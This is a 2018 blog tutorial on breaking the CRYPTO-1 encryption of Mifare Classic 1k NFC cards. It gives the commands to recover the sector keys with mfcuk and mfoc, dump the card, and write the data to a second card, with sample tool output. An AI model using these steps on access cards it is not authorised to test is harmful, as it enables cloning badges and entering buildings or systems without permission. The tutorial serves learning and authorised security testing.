How to hack Mifare Classic NFC cards

Jeremie A <lp1>
6 min readAug 4, 2018

--

If you’re as curious as I am, you probably already wondered how easy it would be to read,write and duplicate the data on the NFC cards in your wallet!

Well let’s look into that, more precisely we’re going to recover the keys allowing us to read and write data on Mifare Classic 1k cards.

First of all, why Mifare Classic 1k specifically?

Well they are pretty widely used, they’re cheap and (that’s the fun part) their proprietary encryption algorithm (CRYPTO-1, original isn’t it?) has been reverse engineered and broken by researchers 10 years ago (happy birthday!).

Plus I’ve got a bunch of Mifare cards in my wallet and too much time on my hands…

These slides from BlackHat.com give plenty of more technical information about Mifare Classic and CRYPTO-1 if you’re curious about it.

Prerequisites

First of all you’re going to need a NFC Reader/Writer. I used the KKmoon ACS122U, it worked like a charm.

You’re going to need two NFC Mifare Classic 1k cards too if you want to copy the data from the first to the second one. Obviously you’ll just need a single card if you just want to read/write data on the same card.

I’m using ArchLinux and the information given should be compatible with other GNU/Linux (maybe other UNIX-like) systems.

If you’re using a Windows system (why though?) you can use a VirtualBox GNU/Linux Virtual Machine with USB Passthrough to follow the same steps.

First of all, you’re going to need libnfc

ArchLinux

pacman -S libnfc

If you’re using ArchLinux you’re also going to need to install the Touchatag driver :

 pacman -S ccid

Ubuntu/Debian/Kali

apt-get install libnfc

It’s apparently possible to install libnfc on Mac OS too.

First Key Recovery

CRYPTO-1 uses two 48 bits-long keys on Mifare Classic cards to encrypt the data on its sectors. Each key can be configured to be used for reading or writing on a sector.

On the Classic 1k, there is 16 sectors of 4 blocks and a block contains 16 bytes, which makes a total of 16 * 4 * 16 = 1024 bytes (hence the 1k).

It is interesting to note that the first block of the first sector, contains the “unwritable” card’s UID, which is often used to identify the key.

We’re going to use mfcuk (MiFare Classic Universal toolKit) to retrieve the first key, often named the A key.

If it is not already installed on your system, you can get it on GitHub and build/install it with :

cd mfcuk
autoreconf -is
./configure
make
make install
#only if you want to install it globally on your system

Once you’re done you can run the mfcuk command in a terminal, which should display the tool’s help.

mfcuk’s help

We’re going to use the following parameters on mfcuk :

mfcuk -C -R 0:A
  • -C will keep the connection between mfcuk and your card up
  • -R 0:A will try to recover the A key for the sector 0

If your key has different keys for each sector (which is not the general case) you can use -R -1:A to search for the keys of all the sectors.

You can use the -s and -S parameters to tweak the read sleep timeout (I’ve seen a few articles recommending 250ms, but the default values worked quite well on my hardware).

mfcuk -C -R 0:A -s 250 -S 250

On recent Linux kernels, you might encounter this error :

Unable to claim USB interface (Device or resource busy)

Chances are that one of your kernel modules is using your USB interface. You can check which one with :

lsmod | grep nfc

And then disable it with (for pn533) :

rmmod pn533_usb pn533

Once you’re done you can launch mfcuk again and wait for the key A of the first sector to be retrieved! It can take a few hours depending on your configuration.

Second key recovery

The second key, also often named key B is often derived from or the same as the A key.

We’re going to install another useful tool to retrieve this second key and dump the content of our card : mfoc.

You can get it on GitHub and install it with :

cd mfoc
autoreconf -is
./configure
make
make install
#only if you want to install it globally on your system

Once installed we’re going to give it our A key and write the card content to a file named source_dump.mfd (or whatever soothes your soul).

> mfoc -O source_dump.mfd -k {the key A you retrieved}The custom key 0xFFFFFFFFFFFF has been added to the default keys
Found Mifare Classic 1k tag
ISO/IEC 14443A (106 kbps) target:
ATQA (SENS_RES): 00 04
* UID size: single
* bit frame anticollision supported
UID (NFCID1): ff ff ff ff
SAK (SEL_RES): 08
* Not compliant with ISO/IEC 14443-4
* Not compliant with ISO/IEC 18092
Fingerprinting based on MIFARE type Identification Procedure:
* MIFARE Classic 1K
* MIFARE Plus (4 Byte UID or 4 Byte RID) 2K, Security level 1
* SmartMX with MIFARE 1K emulation
Other possible matches based on ATQA & SAK values:
Try to authenticate to all sectors with default keys...
Symbols: '.' no key found, '/' A key found, '\' B key found, 'x' both keys found
[Key: FFFFFFFFFFFF] -> [xxxxxxxxxxxxxxxx]
Sector 00 - Found Key A: FFFFFFFFFFFF Found Key B: FFFFFFFFFFFF
Sector 01 - Found Key A: FFFFFFFFFFFF Found Key B: FFFFFFFFFFFF
Sector 02 - Found Key A: FFFFFFFFFFFF Found Key B: FFFFFFFFFFFF
Sector 03 - Found Key A: FFFFFFFFFFFF Found Key B: FFFFFFFFFFFF
Sector 04 - Found Key A: FFFFFFFFFFFF Found Key B: FFFFFFFFFFFF
Sector 05 - Found Key A: FFFFFFFFFFFF Found Key B: FFFFFFFFFFFF
Sector 06 - Found Key A: FFFFFFFFFFFF Found Key B: FFFFFFFFFFFF
Sector 07 - Found Key A: FFFFFFFFFFFF Found Key B: FFFFFFFFFFFF
Sector 08 - Found Key A: FFFFFFFFFFFF Found Key B: FFFFFFFFFFFF
Sector 09 - Found Key A: FFFFFFFFFFFF Found Key B: FFFFFFFFFFFF
Sector 10 - Found Key A: FFFFFFFFFFFF Found Key B: FFFFFFFFFFFF
Sector 11 - Found Key A: FFFFFFFFFFFF Found Key B: FFFFFFFFFFFF
Sector 12 - Found Key A: FFFFFFFFFFFF Found Key B: FFFFFFFFFFFF
Sector 13 - Found Key A: FFFFFFFFFFFF Found Key B: FFFFFFFFFFFF
Sector 14 - Found Key A: FFFFFFFFFFFF Found Key B: FFFFFFFFFFFF
Sector 15 - Found Key A: FFFFFFFFFFFF Found Key B: FFFFFFFFFFFF

Yay! We recovered the key A and key B of our NFC card and stored its sectors content in a dump file! You can have a look at the data in hexadecimal format with hexdump -C source_dump.mfd.

Now, let’s write this data on another card!

Writing your dump on another card

We’re going to use nfc-mfclassic (part of libnfc) to write the data we dumped on another NFC card.

You’ll need its A and B keys too. If it’s brand new it should be 0xffffffffffff by default. Let’s dump our destination card before rewriting on it :

mfoc -O dest.mfd #if you don't know the keys
mfoc -O dest.mfd -k {the A key}
#otherwise

And then use this dump (containing the A and B keys) to rewrite the source data on this card.

nfc-mfclassic w a dest.mfd source_dump.mfd
NFC reader: ACS / ACR122U PICC Interface opened
Found MIFARE Classic card:
ISO/IEC 14443A (106 kbps) target:
ATQA (SENS_RES): 00 04
UID (NFCID1): 73 98 96 d5
SAK (SEL_RES): 08
Guessing size: seems to be a 1024-byte card
Writing 64 blocks |x

You’re done!

The data on your first card should be written on your second card.

You can now verify and prove how easy it is to make copies of your company/building/anything you’re allowed to PenTest ‘s NFC cards!

Please note : some systems check if the card’s UUID is matching against a whitelist. This is not a perfect clone, just another card with another UUID but the same data.

Thanks for reading and please leave a comment if you have a question/remark!

Peace out.

Lp1

Documentation :

https://learn.adafruit.com/adafruit-pn532-rfid-nfc/mifare

https://linuskarlsson.se/blog/acr122u-mfcuk-and-mfoc-cracking-mifare-classic-on-arch-linux/

--

--